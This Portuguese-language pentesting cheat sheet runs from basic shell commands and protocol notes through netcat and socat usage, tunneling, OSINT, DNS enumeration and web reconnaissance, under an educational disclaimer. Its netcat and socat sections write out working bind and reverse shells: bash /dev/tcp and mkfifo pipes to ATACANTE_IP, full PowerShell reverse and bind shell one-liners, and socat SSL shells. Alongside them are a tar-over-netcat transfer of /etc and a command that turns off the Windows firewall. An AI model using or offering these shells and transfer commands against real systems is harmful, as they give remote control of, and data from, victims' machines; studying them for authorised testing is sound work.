Metodologia Completa

Desde reconhecimento até pós-exploração, seguindo metodologias reconhecidas da indústria.

Comandos Práticos

Centenas de comandos e técnicas testadas em ambiente real com exemplos práticos.

Segurança Responsável

Técnicas para uso ético em ambientes autorizados e testes de penetração legítimos.

Aviso Legal

Este material é destinado exclusivamente para fins educacionais e testes autorizados. O uso inadequado dessas técnicas pode violar leis locais e internacionais. Sempre obtenha autorização explícita antes de realizar qualquer teste de penetração.

150+
Comandos
25+
Ferramentas
50+
Técnicas
10+
Categorias

Navegação e Arquivos

pwd
Mostrar diretório atual
pwd
ls
Listar arquivos e diretórios
ls -la
cd
Navegar entre diretórios
cd /etc
mkdir
Criar diretórios
mkdir teste
touch
Criar arquivos vazios
touch arquivo.txt
cat
Exibir conteúdo de arquivos
cat /etc/passwd

Gerenciamento de Usuários

adduser
Adicionar usuário
adduser novousuario
passwd
Alterar senha
passwd usuario
su
Trocar usuário
su - root
sudo
Executar como root
sudo comando

Rede

ifconfig
Configuração de rede
ifconfig eth0
netstat
Conexões de rede
netstat -lntp
route
Tabela de roteamento
route -n

Navegação e Arquivos

echo %cd%
Mostrar diretório atual
echo %cd%
dir
Listar arquivos
dir /a
type
Exibir conteúdo
type arquivo.txt

Rede

ipconfig
Configuração IP
ipconfig /all
netstat
Conexões ativas
netstat -an
net user
Gerenciar usuários
net user

Comandos PowerShell

Get-Location
Diretório atual
Get-Location
Get-ChildItem
Listar itens
Get-ChildItem -Force
Select-String
Buscar texto
Select-String "texto" arquivo.txt

Modelo OSI vs TCP/IP

Camadas OSI Camadas TCP/IP Função Principal Protocolos Exemplo
Aplicação Apresentação Sessão Aplicação Interface com usuário HTTP, HTTPS, FTP, SSH, DNS
Transporte Transporte Controle de fluxo TCP, UDP
Rede Internet Roteamento IP, ICMP, ARP
Física Enlace Acesso à Rede Transmissão física Ethernet, WiFi

Protocolos Importantes

TCP (Transmission Control Protocol)

Características: Confiável, orientado à conexão

Uso: Aplicações que requerem integridade de dados

Three-Way Handshake:

  1. SYN (cliente → servidor)
  2. SYN-ACK (servidor → cliente)
  3. ACK (cliente → servidor)
# Verificar conexões TCP
netstat -tnp

# Monitorar conexões em tempo real
ss -tuln | grep :80

UDP (User Datagram Protocol)

Características: Não confiável, sem conexão

Uso: DNS, DHCP, SNMP, streaming de vídeo

Vantagens:

  • Menor overhead (8 bytes header)
  • Velocidade superior ao TCP
  • Sem controle de fluxo
  • Ideal para aplicações em tempo real
# Verificar portas UDP
netstat -unp

# Scan UDP com nmap
nmap -sU --top-ports 100 target

ICMP (Internet Control Message Protocol)

Função: Mensagens de controle e diagnóstico

Layer: Camada de Rede (Layer 3)

Tipos Principais:

  • Type 8: Echo Request (ping)
  • Type 0: Echo Reply (pong)
  • Type 3: Destination Unreachable
  • Type 11: Time Exceeded (traceroute)
# Ping básico
ping -c 4 8.8.8.8

# Traceroute
traceroute google.com

# Ping flood (teste de rede)
ping -f -c 100 target

Ferramentas de Análise

Wireshark

Analisador de protocolos gráfico

# Filtros úteis
ip.addr == ALVO_IP
tcp.port == 80
http.request.method == "POST"

TCPDump

Captura de pacotes via linha de comando

# Capturar tráfego HTTP
tcpdump -i eth0 port 80

# Salvar em arquivo
tcpdump -w captura.pcap

# Ler arquivo
tcpdump -r captura.pcap

Comandos de Rede Essenciais

Conectar a serviços

# Telnet
telnet ALVO_IP 80

# NetCat
nc -nv ALVO_IP 80

# OpenSSL (HTTPS)
openssl s_client -connect site.com.br:443

Teste de conectividade

# Ping sweep
for i in {1..254}; do ping -c1 10.0.0.$i; done

# Port scan simples
for port in {1..1000}; do nc -zv ALVO_IP $port; done

Canivete Suíço do Hacker

Conjunto de ferramentas fundamentais que todo pentester deve dominar. São versáteis, estão presentes na maioria dos sistemas e podem ser usadas para múltiplas finalidades: reconhecimento, transferência de arquivos, shells, tunneling e muito mais.

NetCat - O Canivete Suíço TCP/IP

NetCat é considerado o "canivete suíço" das ferramentas de rede, permitindo praticamente qualquer operação TCP ou UDP.

Comandos Básicos NetCat

Listener
Escutar em uma porta
nc -lvnp 4444
Conectar
Conectar a um host
nc SERVIDOR_IP 4444
UDP
Modo UDP
nc -u SERVIDOR_IP 53
Banner Grab
Capturar banner
echo "" | nc SERVIDOR_IP 22

Flags Importantes

# -l : Listen mode (servidor)
# -v : Verbose (modo verboso)
# -n : No DNS lookup (sem resolução DNS)
# -p : Porta específica
# -u : UDP mode
# -e : Execute command (executar comando)
# -z : Zero-I/O mode (scan mode)

# Exemplos práticos
nc -lvnp 8080           # Listener verbose na porta 8080
nc -nv SERVIDOR_IP 22      # Conectar sem DNS lookup
nc -zv SERVIDOR_IP 1-1000  # Port scan range

Shells com NetCat

Bind vs Reverse Shell

Bind Shell: Vítima escuta, atacante conecta | Reverse Shell: Atacante escuta, vítima conecta (bypassa firewalls)

Bind Shells

Linux
# Na vítima (Linux)
nc -lvnp 4444 -e /bin/bash

# No atacante
nc SERVIDOR_IP 4444

# Versão melhorada (com output)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 4444 > /tmp/f
Windows
# Na vítima (Windows)
nc.exe -lvnp 4444 -e cmd.exe

# No atacante
nc SERVIDOR_IP 4444

# PowerShell bind shell
powershell -c "& {$listener = New-Object System.Net.Sockets.TcpListener(4444); $listener.Start(); $client = $listener.AcceptTcpClient(); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}; $client.Close(); $listener.Stop()}"

Reverse Shells

Linux
# No atacante (listener)
nc -lvnp 4444

# Na vítima (conecta de volta)
nc ATACANTE_IP 4444 -e /bin/bash

# Alternativas sem flag -e
bash -i >& /dev/tcp/ATACANTE_IP/4444 0>&1
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATACANTE_IP 4444 > /tmp/f

# Usando Socat (mais estável)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATACANTE_IP:4444
Windows
# No atacante
nc -lvnp 4444

# Na vítima
nc.exe ATACANTE_IP 4444 -e cmd.exe

# PowerShell reverse shell
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('ATACANTE_IP',4444); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}; $client.Close()"

Transferência de Arquivos

Envio de Arquivos

# Receptor (recebe arquivo)
nc -lvnp 4444 > arquivo_recebido.txt

# Remetente (envia arquivo)
nc SERVIDOR_IP 4444 < arquivo_para_enviar.txt

# Transferir diretório completo
tar -czf - /etc | nc SERVIDOR_IP 4444
nc -lvnp 4444 | tar -xzf -

# Transferir com progresso
pv arquivo.iso | nc SERVIDOR_IP 4444
nc -lvnp 4444 | pv > arquivo.iso

Transferência Bidirecional

# Chat simples
# Terminal 1
nc -lvnp 4444

# Terminal 2  
nc SERVIDOR_IP 4444

# Ambos podem digitar e enviar mensagens
# Ctrl+C para sair

Port Scanning

Scan de Portas

# Scan de porta única
nc -zv SERVIDOR_IP 22

# Scan de range de portas
nc -zv SERVIDOR_IP 1-1000

# Scan UDP
nc -zuv SERVIDOR_IP 53

# Scan com timeout
nc -zv -w 3 SERVIDOR_IP 1-100

# Script para scan rápido
for port in 22 80 443 21 25 53 110 143 993 995; do
    nc -zv SERVIDOR_IP $port 2>&1 | grep succeeded
done

Banner Grabbing

# HTTP banner
echo -e "GET / HTTP/1.0\r\n\r\n" | nc SERVIDOR_IP 80

# SSH banner
nc SERVIDOR_IP 22

# SMTP banner  
nc SERVIDOR_IP 25

# FTP banner
nc SERVIDOR_IP 21

# Script para múltiplos serviços
for service in 21 22 25 53 80 110 143 443; do
    echo "=== Port $service ==="
    nc -zv SERVIDOR_IP $service
    echo "" | nc -w 2 SERVIDOR_IP $service
    echo
done

Socat - NetCat Melhorado

Socat é uma evolução do NetCat com recursos avançados como SSL, proxy, redirecionamento e manipulação de dados.

Comandos Básicos Socat

Conexões Simples

# Listener TCP
socat TCP-LISTEN:4444,fork STDOUT

# Conectar TCP
socat STDIN TCP:SERVIDOR_IP:4444

# Listener UDP  
socat UDP-LISTEN:53,fork STDOUT

# Port forwarding
socat TCP-LISTEN:8080,fork TCP:SERVIDOR_IP:80

# Transferência de arquivo
socat TCP-LISTEN:4444,fork file:arquivo.txt

Redirecionamentos

# Redirecionar porta
socat TCP-LISTEN:3333,reuseaddr,fork TCP:localhost:22

# Múltiplas conexões (fork)
socat TCP-LISTEN:4444,fork,reuseaddr EXEC:/bin/bash

# Conectar dois hosts
socat TCP-LISTEN:8080,fork TCP:example.com:80

# Proxy simples
socat TCP-LISTEN:3128,fork TCP:proxy-server:3128

Shells com Socat

Bind Shells

# Na vítima (Linux)
socat TCP-LISTEN:4444,fork EXEC:/bin/bash

# No atacante
socat - TCP:SERVIDOR_IP:4444

# Bind shell interativo (com pty)
socat TCP-LISTEN:4444,fork EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane

# Windows
socat TCP-LISTEN:4444,fork EXEC:'cmd.exe',pipes

Reverse Shells

# No atacante (listener)
socat file:`tty`,raw,echo=0 TCP-LISTEN:4444

# Na vítima (conecta de volta)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATACANTE_IP:4444

# Reverse shell Windows
socat TCP:ATACANTE_IP:4444 EXEC:'cmd.exe',pipes

# Shell estável e interativo
socat TCP-LISTEN:4444,fork,reuseaddr FILE:`tty`,raw,echo=0

Tunneling e Port Forwarding

Port Forwarding Local

# Forward local para remoto
socat TCP-LISTEN:8080,fork TCP:SERVIDOR_IP:80

# SSH tunnel via socat
socat TCP-LISTEN:2222,fork TCP:SERVIDOR_IP:22

# RDP tunnel
socat TCP-LISTEN:3389,fork TCP:SERVIDOR_IP:3389

# Múltiplos forwards
socat TCP-LISTEN:8080,fork TCP:webserver:80 &
socat TCP-LISTEN:2222,fork TCP:sshserver:22 &

Tunnels Bidirecionais

# Relay entre dois hosts
socat TCP-LISTEN:4444,fork TCP:INTERNO_IP:4444

# Tunnel HTTP via proxy
socat TCP-LISTEN:8080,fork PROXY:proxy.company.com:80:targethost.com:80

# SOCKS proxy simples
socat TCP-LISTEN:1080,fork SOCKS4:proxy:destination:port

# Conectar redes isoladas
# Host A (DMZ)
socat TCP-LISTEN:8080,fork TCP:internal-server:80

# Host B (externo)  
socat TCP-LISTEN:9090,fork TCP:dmz-host:8080

Conexões SSL/TLS

SSL Client/Server

# Servidor SSL
socat OPENSSL-LISTEN:4433,cert=/path/to/cert.pem,key=/path/to/key.pem,fork STDOUT

# Cliente SSL
socat STDIN OPENSSL:SERVIDOR_IP:4433

# SSL sem verificação de certificado
socat STDIN OPENSSL:target.com:443,verify=0

# Reverse shell SSL (atacante)
socat OPENSSL-LISTEN:4433,cert=server.pem,key=server.key,verify=0,fork FILE:`tty`,raw,echo=0

# Reverse shell SSL (vítima)
socat OPENSSL:ATACANTE_IP:4433,verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

Criar Certificados SSL

# Gerar certificado auto-assinado
openssl req -newkey rsa:2048 -nodes -keyout server.key -x509 -days 365 -out server.crt

# Combinar certificado e chave
cat server.crt server.key > server.pem

# Usar certificado
socat OPENSSL-LISTEN:4433,cert=server.pem,verify=0,fork EXEC:/bin/bash

# Cliente SSL
socat STDIN OPENSSL:SERVIDOR_IP:4433,verify=0

Port Forwarding Avançado

1

Local Forward

Redirecionar porta local para remota

2

Remote Forward

Redirecionar porta remota para local

3

Dynamic Forward

SOCKS proxy dinâmico

4

Pivoting

Saltar entre redes

SSH Tunneling

Local Port Forwarding

# Local forward básico
ssh -L 8080:localhost:80 user@SERVIDOR_IP

# Forward para host diferente
ssh -L 3389:INTERNO_IP:3389 user@SERVIDOR_IP

# Múltiplos forwards
ssh -L 8080:localhost:80 -L 2222:localhost:22 -L 3389:INTERNO_IP:3389 user@SERVIDOR_IP

# Forward em background
ssh -f -N -L 8080:localhost:80 user@SERVIDOR_IP

Remote Port Forwarding

# Remote forward básico
ssh -R 9090:localhost:80 user@SERVIDOR_IP

# Expor serviço local remotamente
ssh -R 8080:localhost:3000 user@vps-server.com

# Forward reverso para pivoting
ssh -R 4444:REDE_INTERNA_IP:22 user@servidor-atacante.com.br

# Bind em todas as interfaces
ssh -R 0.0.0.0:8080:localhost:80 user@SERVIDOR_IP

Dynamic Port Forwarding (SOCKS)

# SOCKS proxy na porta 1080
ssh -D 1080 user@SERVIDOR_IP

# SOCKS em background
ssh -f -N -D 1080 user@SERVIDOR_IP

# Usar proxy SOCKS
proxychains nmap -sT REDE_INTERNA.0/24
curl --socks5 127.0.0.1:1080 http://site-interno.local

# ProxyChains config
echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf

Socat Port Forwarding

Redirecionamento Simples

# Forward HTTP
socat TCP-LISTEN:8080,fork TCP:SERVIDOR_IP:80

# Forward SSH com log
socat -v TCP-LISTEN:2222,fork TCP:SERVIDOR_IP:22

# Forward RDP
socat TCP-LISTEN:3389,fork TCP:SERVIDOR_IP:3389

# Forward com bind específico
socat TCP-LISTEN:8080,bind=ATACANTE_IP,fork TCP:SERVIDOR_IP:80

Pivoting com Socat

# Chain de forwards
# Host A (atacante) -> Host B (pivot) -> Host C (alvo)

# No Host B (pivot)
socat TCP-LISTEN:8080,fork TCP:REDE_INTERNA.10:80

# No Host A (atacante)
curl http://SERVIDOR_IP:8080

# Relay bidirecional
socat TCP-LISTEN:4444,fork TCP-LISTEN:5555,fork

# Double pivot
socat TCP-LISTEN:8080,fork TCP:next-pivot:8080

Windows Netsh

Port Forwarding Windows

# Adicionar port forward
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=SERVIDOR_IP

# Listar forwards ativos
netsh interface portproxy show all

# Remover forward específico
netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0

# Reset todos os forwards
netsh interface portproxy reset

# Exemplo prático - RDP forward
netsh interface portproxy add v4tov4 listenport=33389 connectport=3389 connectaddress=INTERNO_IP

Firewall Rules

# Permitir porta no firewall
netsh advfirewall firewall add rule name="Port Forward 8080" dir=in action=allow protocol=TCP localport=8080

# Listar regras
netsh advfirewall firewall show rule name=all

# Remover regra
netsh advfirewall firewall delete rule name="Port Forward 8080"

# Desabilitar firewall (se necessário)
netsh advfirewall set allprofiles state off

Outras Ferramentas Swiss Army

Telnet

# Conectar Telnet
telnet SERVIDOR_IP 23

# Banner grabbing
telnet SERVIDOR_IP 80
GET / HTTP/1.0

# SMTP testing
telnet mail.server.com 25
HELO atacante.com.br

Dev TCP (Bash)

# Conectar via /dev/tcp
exec 5<>/dev/tcp/ALVO_IP/80
echo -e "GET / HTTP/1.0\r\n\r\n" >&5
cat <&5

# Reverse shell
bash -i >& /dev/tcp/ATACANTE_IP/4444 0>&1

# Port scan
for port in {1..1000}; do
    (echo > /dev/tcp/ALVO_IP/$port) 2>/dev/null && echo "Port $port open"
done

Ncat (Nmap)

# SSL listener
ncat -l 4433 --ssl

# Conectar SSL
ncat SERVIDOR_IP 4433 --ssl

# Broker mode (relay)
ncat -l 8080 --broker

# Múltiplas conexões
ncat -l 4444 --keep-open

Cryptcat

# Listener criptografado
cryptcat -l -p 4444

# Conectar com senha
cryptcat SERVIDOR_IP 4444

# Transfer criptografado
cryptcat -l -p 4444 > arquivo.txt
cryptcat SERVIDOR_IP 4444 < arquivo.txt

NetCat - "Canivete Suíço"

Ferramenta fundamental para testes de conectividade, transferência de arquivos e shells.

Conectar a Serviços

# Conectar a porta
nc -nv ALVO_IP 80

# Com timeout
nc -nv -w 5 ALVO_IP 80

Bind Shell

# Servidor (vítima)
nc -lvnp 4444 -e /bin/bash

# Cliente (atacante)
nc -nv SERVIDOR_IP 4444

Reverse Shell

# Listener (atacante)
nc -lvnp 4444

# Cliente (vítima)
nc -nv SERVIDOR_IP 4444 -e /bin/bash

Transferência de Arquivos

# Enviar arquivo
nc -lvnp 4444 < arquivo.txt

# Receber arquivo
nc -nv SERVIDOR_IP 4444 > arquivo.txt

Port Scanning

# Scan de portas
nc -znv ALVO_IP 1-1000

# Scan específico
nc -znv ALVO_IP 22 80 443

Protocolo UDP

# Listener UDP
nc -luvnp 53

# Cliente UDP
nc -unv ALVO_IP 53

Ncat - NetCat com SSL

Versão melhorada do NetCat com suporte a criptografia SSL/TLS.

# Gerar certificado
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365

# Servidor SSL
ncat -lvnp 4444 --ssl-key key.pem --ssl-cert cert.pem

# Cliente SSL
ncat -nv SERVIDOR_IP 4444 --ssl

# Filtrar IPs permitidos
ncat -lvnp 4444 --allow SERVIDOR_IP --ssl

Socat - Socket Cat

Ferramenta avançada para redirecionamento de sockets e túneis.

# Bind shell criptografado
socat OPENSSL-LISTEN:4444,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash

# Reverse shell criptografado
socat OPENSSL:SERVIDOR_IP:4444,verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

# Port forwarding
socat TCP-LISTEN:8080,fork TCP:SERVIDOR_IP:80

# Transferência de arquivo
socat TCP-LISTEN:4444,fork file:arquivo.txt

Dev TCP (Bash)

Funcionalidade nativa do Bash para conexões TCP.

# Conectar via /dev/tcp
exec 5<>/dev/tcp/ALVO_IP/80
echo -e "GET / HTTP/1.0\r\n\r\n" >&5
cat <&5

# Reverse shell
bash -i >& /dev/tcp/SERVIDOR_IP/4444 0>&1

# Port scan
for port in {1..1000}; do
    (echo > /dev/tcp/ALVO_IP/$port) 2>/dev/null && echo "Port $port open"
done

Início dos Ataques

O reconhecimento passivo é fundamental para entender o alvo antes de qualquer ação ativa. Esta fase envolve coleta de informações usando fontes publicamente disponíveis.

1

Definir Escopo

Identificar domínios, IPs e organizações alvo

2

Coleta Passiva

OSINT, redes sociais, documentos públicos

3

Análise

Correlacionar informações coletadas

4

Documentar

Organizar dados para próximas fases

Mapeamento de Colaboradores

LinkedIn

  • Buscar funcionários por empresa
  • Identificar hierarquia organizacional
  • Mapear tecnologias utilizadas
  • Encontrar contatos de TI/Segurança

Vagas de Emprego

  • Indeed, LinkedIn Jobs, Glassdoor
  • Identificar tecnologias procuradas
  • Entender estrutura organizacional
  • Localização de escritórios

Redes Sociais

  • Facebook, Twitter, Instagram
  • Informações pessoais dos funcionários
  • Eventos corporativos
  • Fotos com informações sensíveis

Coleta de Endereços de Email

TheHarvester

# Buscar emails no Google
theharvester -d empresa.com.br -b google -l 100

# Múltiplas fontes
theharvester -d empresa.com.br -b all -l 500

# Salvar resultados
theharvester -d empresa.com.br -b google -f resultados.html

Padrões de Email

Vazamentos de Dados

Have I Been Pwned

Verificar se emails foram comprometidos em vazamentos conhecidos

curl "https://haveibeenpwned.com/api/v3/breachedaccount/email@empresa.com.br"

Pastebin & Sites Similares

  • Pastebin.com
  • Hastebin.com
  • Dpaste.org
  • Ghostbin.com

Trello Boards Públicos

# Buscar no Google
site:trello.com "empresa.com.br"
site:trello.com "nome_empresa"

Google Hacking

Operadores de Busca

site: site:empresa.com.br Resultados apenas do domínio especificado
filetype: filetype:pdf site:empresa.com.br Arquivos PDF do domínio
inurl: inurl:admin site:empresa.com.br URLs contendo "admin"
intitle: intitle:"index of" site:empresa.com.br Páginas com título específico
intext: intext:"password" site:empresa.com.br Texto contendo "password"
cache: cache:empresa.com.br Versão em cache do site

Dorks Úteis

# Arquivos de configuração
site:empresa.com.br ext:xml | ext:conf | ext:cnf | ext:reg | ext:inf | ext:rdp | ext:cfg | ext:txt | ext:ora | ext:ini

# Arquivos de backup
site:empresa.com.br ext:bkf | ext:bkp | ext:bak | ext:old | ext:backup

# Login pages
site:empresa.com.br inurl:login | inurl:signin | inurl:admin | inurl:dashboard

# Diretórios expostos
site:empresa.com.br intitle:"index of"

# Informações de funcionários
site:empresa.com.br "curriculum" | "cv" | "resume" filetype:pdf

# Informações financeiras
site:empresa.com.br "confidential" | "proprietary" | "internal use" filetype:pdf

Bing Hacking

domain: domain:empresa.com.br Resultados do domínio
contains: contains:admin site:empresa.com.br Páginas contendo termo
ip: ip:ALVO_IP Sites no IP específico

Análise de Metadados

Informações Importantes nos Metadados

IANA & Registros de Domínio

IANA (Internet Assigned Numbers Authority) organiza os blocos de redes e gerencia a alocação de recursos IP.

Consultas WHOIS

Domínio
Informações do domínio
whois empresa.com.br
IP Address
Informações do bloco IP
whois 8.8.8.8
Servidor Específico
Usar servidor WHOIS específico
whois -h whois.registro.br empresa.com.br.br

RDAP (Registration Data Access Protocol)

Consultas RDAP para Domínios

# RDAP para domínio brasileiro
curl "https://rdap.registro.br/domain/empresa.com.br.br"

# RDAP para domínio .com
curl "https://rdap.verisign.com/com/v1/domain/empresa.com.br"

Consultas RDAP para IPs

# RDAP para IP APNIC
curl "https://rdap.apnic.net/ip/203.119.101.61"

# RDAP para IP ARIN
curl "https://rdap.arin.net/registry/ip/8.8.8.8"

Enumeração DNS

Registros DNS Básicos

# Registro A (IPv4)
dig empresa.com.br A

# Registro MX (Mail Exchange)
dig empresa.com.br MX

# Registro NS (Name Server)
dig empresa.com.br NS

# Registro TXT
dig empresa.com.br TXT

# Todos os registros
dig empresa.com.br ANY

Transferência de Zona

# Testar transferência de zona
dig @ns1.empresa.com.br empresa.com.br AXFR

# Com host command
host -l -a empresa.com.br ns1.empresa.com.br

# Script para múltiplos NS
for ns in $(dig empresa.com.br NS +short); do
    echo "Testing $ns"
    dig @$ns empresa.com.br AXFR
done

Enumeração de Subdomínios

# Brute force manual
for word in $(cat subdomains.txt); do
    host $word.empresa.com.br | grep -v "NXDOMAIN"
done

# Com dig
for word in $(cat subdomains.txt); do
    dig $word.empresa.com.br +short | grep -v "^$"
done

Ferramentas Automatizadas

# Sublist3r
sublist3r -d empresa.com.br

# Amass
amass enum -d empresa.com.br

# DNSrecon
dnsrecon -d empresa.com.br -t std

# Fierce
fierce --domain empresa.com.br

BGP & ASN Information

Descobrir ASN de um IP

# Cymru WHOIS
whois -h whois.cymru.com " -v 8.8.8.8"

# Team Cymru IP to ASN
dig TXT 8.8.8.8.origin.asn.cymru.com +short

Prefixos de um ASN

# RADB WHOIS
whois -h whois.radb.net -- '-i origin AS15169'

# Hurricane Electric BGP Toolkit
curl "https://lg.he.net/cgi-bin/bgplg?cmd=show%20ip%20bgp%208.8.8.8"

Shodan & Censys

Shodan

hostname: hostname:empresa.com.br
net: net:"REDE_ALVO/24"
port: port:22
os: os:"Windows"
country: country:"BR"
product: "Apache/2.4"
# Shodan CLI
pip install shodan
shodan init YOUR_API_KEY

# Buscar hosts
shodan search "hostname:empresa.com.br"

# Download de dados
shodan download --limit 1000 empresa empresa.com.br

# Parsear dados
shodan parse --fields ip_str,port,org --separator , empresa.json.gz

Censys

# Censys Search API
curl -u "API_ID:API_SECRET" \
  "https://search.censys.io/api/v2/hosts/search" \
  -d '{"q": "services.service_name: HTTP", "per_page": 100}'

# Specific host lookup
curl -u "API_ID:API_SECRET" \
  "https://search.censys.io/api/v2/hosts/8.8.8.8"

Certificados SSL/TLS

Análise de Certificados

# Informações do certificado
openssl s_client -connect empresa.com.br:443 \
  -servername empresa.com.br 2>/dev/null | \
  openssl x509 -noout -text

# SANs (Subject Alternative Names)
openssl s_client -connect empresa.com.br:443 \
  -servername empresa.com.br 2>/dev/null | \
  openssl x509 -noout -ext subjectAltName

Certificate Transparency

# crt.sh API
curl -s "https://crt.sh/?q=empresa.com.br&output=json" | \
  jq '.[].name_value' | sort -u

# Certstream monitoring
pip install certstream
python -c "import certstream; certstream.listen_for_events(print)"

Certificate Transparency Sources

  • crt.sh: https://crt.sh
  • Censys: https://censys.io
  • Google CT: https://transparencyreport.google.com/https/certificates
  • Facebook CT: https://developers.facebook.com/tools/ct

Objetivos do Web Recon

1

Identificar Tecnologias

Servidores, frameworks, linguagens

2

Mapear Estrutura

Diretórios, arquivos, endpoints

3

Analisar Funcionalidades

Recursos, parâmetros, métodos

4

Buscar Vulnerabilidades

Configurações, arquivos expostos

Metodologia Inteligente

Não devemos depender apenas de ferramentas prontas. Ser cuidadoso e muitas vezes criar ferramentas personalizadas pode dar bypass em sistemas de defesa e revelar mais informações.

Arquivos de Descoberta

Robots.txt

Verificar Robots.txt

# Acessar robots.txt
curl -s http://empresa.com.br/robots.txt

# Analisar diretórios disallowed
curl -s http://empresa.com.br/robots.txt | grep -i disallow

# Wayback Machine para histórico
curl -s "http://web.archive.org/cdx/search/cdx?url=empresa.com.br/robots.txt&output=json"

Sitemap.xml

Analisar Sitemap

# Acessar sitemap principal
curl -s http://empresa.com.br/sitemap.xml

# Buscar sitemaps adicionais
curl -s http://empresa.com.br/sitemap.xml | grep -o 'http[^<]*\.xml'

# Extrair URLs do sitemap
curl -s http://empresa.com.br/sitemap.xml | grep -o '[^<]*' | sed 's///'

Security.txt

RFC 9116 - Security.txt

# Localização padrão
curl -s http://empresa.com.br/.well-known/security.txt

# Localização alternativa
curl -s http://empresa.com.br/security.txt

# Verificar contatos de segurança
curl -s http://empresa.com.br/.well-known/security.txt | grep -E "(Contact|Email)"

Outros Arquivos Importantes

.htaccess
Configurações Apache
curl -s http://empresa.com.br/.htaccess
README.md
Documentação do projeto
curl -s http://empresa.com.br/README.md
CHANGELOG
Histórico de versões
curl -s http://empresa.com.br/CHANGELOG
package.json
Dependências Node.js
curl -s http://empresa.com.br/package.json

Descoberta de Diretórios e Arquivos

Dirb

# Scan básico com wordlist padrão
dirb http://empresa.com.br

# Wordlist específica
dirb http://empresa.com.br /usr/share/wordlists/dirb/big.txt

# Extensões específicas
dirb http://empresa.com.br -X .php,.html,.txt,.bak

# Ignorar códigos de resposta
dirb http://empresa.com.br -N 404

Ffuf

# Descoberta de diretórios
ffuf -u http://empresa.com.br/FUZZ -w /usr/share/wordlists/dirb/common.txt

# Arquivos com extensões
ffuf -u http://empresa.com.br/FUZZ -w wordlist.txt -e .php,.html,.txt,.bak

# Filtrar por tamanho de resposta
ffuf -u http://empresa.com.br/FUZZ -w wordlist.txt -fs 1234

# User-Agent personalizado
ffuf -u http://empresa.com.br/FUZZ -w wordlist.txt -H "User-Agent: Custom"

Gobuster

# Descoberta de diretórios
gobuster dir -u http://empresa.com.br -w /usr/share/wordlists/dirb/common.txt

# Extensões específicas
gobuster dir -u http://empresa.com.br -w wordlist.txt -x php,html,txt

# Descoberta de subdomínios
gobuster dns -d empresa.com.br -w subdomains.txt

# Virtual host discovery
gobuster vhost -u http://empresa.com.br -w vhosts.txt

Descoberta Manual

# Testar directory listing
curl -s http://empresa.com.br/ | grep -i "index of"

# Arquivos de backup
for ext in bak old backup orig tmp; do
    curl -s -o /dev/null -w "%{http_code}" http://empresa.com.br/config.$ext
done

# Painéis administrativos
for admin in admin administrator panel cpanel; do
    curl -s -o /dev/null -w "%{http_code}" http://empresa.com.br/$admin/
done

Análise de Tecnologias

WhatWeb

# Análise básica
whatweb empresa.com.br

# Análise agressiva
whatweb -a 3 empresa.com.br

# Output JSON
whatweb --output-json=results.json empresa.com.br

# Múltiplos alvos
whatweb -i targets.txt

Wappalyzer CLI

# Instalar Wappalyzer CLI
npm install -g wappalyzer-cli

# Análise de tecnologias
wappalyzer https://empresa.com.br

# Output JSON
wappalyzer https://empresa.com.br --pretty

Headers HTTP

# Headers básicos
curl -I http://empresa.com.br

# Headers detalhados
curl -v http://empresa.com.br 2>&1 | grep "^< "

# Security headers
curl -s -D- http://empresa.com.br | \
  grep -E "(X-|Content-Security|Strict-Transport)"

Mirror Website

# Clonar site para análise local
wget -m http://empresa.com.br

# Ignorar robots.txt
wget -m -e robots=off http://empresa.com.br

# Recursivo com limite
wget -r -l 2 http://empresa.com.br

Informações de Fingerprinting

Headers Informativos

  • Server: Apache/2.4.41, nginx/1.18
  • X-Powered-By: PHP/7.4.3, ASP.NET
  • X-AspNet-Version: 4.0.30319
  • X-Generator: Drupal 9, WordPress 5.8
  • Set-Cookie: JSESSIONID, PHPSESSID
  • WWW-Authenticate: Métodos de autenticação

Perguntas Importantes

  • Que tecnologias são utilizadas?
  • Quais são os diretórios importantes?
  • Existem arquivos de backup expostos?
  • Há informações sensíveis nos comentários?
  • Como é a estrutura de parâmetros?
  • Quais métodos HTTP são aceitos?
  • Existem APIs ou endpoints especiais?

API Discovery

Endpoints Comuns de API

# Testar endpoints comuns
curl -s http://empresa.com.br/api/
curl -s http://empresa.com.br/v1/
curl -s http://empresa.com.br/graphql
curl -s http://empresa.com.br/swagger/
curl -s http://empresa.com.br/api-docs/

# OpenAPI/Swagger documentation
curl -s http://empresa.com.br/swagger.json
curl -s http://empresa.com.br/openapi.json
curl -s http://empresa.com.br/api/v1/swagger.json

Network Discovery

1

Ping Sweep

Descobrir hosts ativos na rede

2

Port Scanning

Identificar serviços disponíveis

3

Service Detection

Detectar versões e banners

4

OS Fingerprinting

Identificar sistema operacional

Desafios Comuns em Scanning
  • Tempo de scan e consumo de tráfego: Redes grandes podem sofrer sobrecarga e indisponibilidade
  • Firewall filtrando/rejeitando pacotes: Perda de informações importantes sobre o alvo
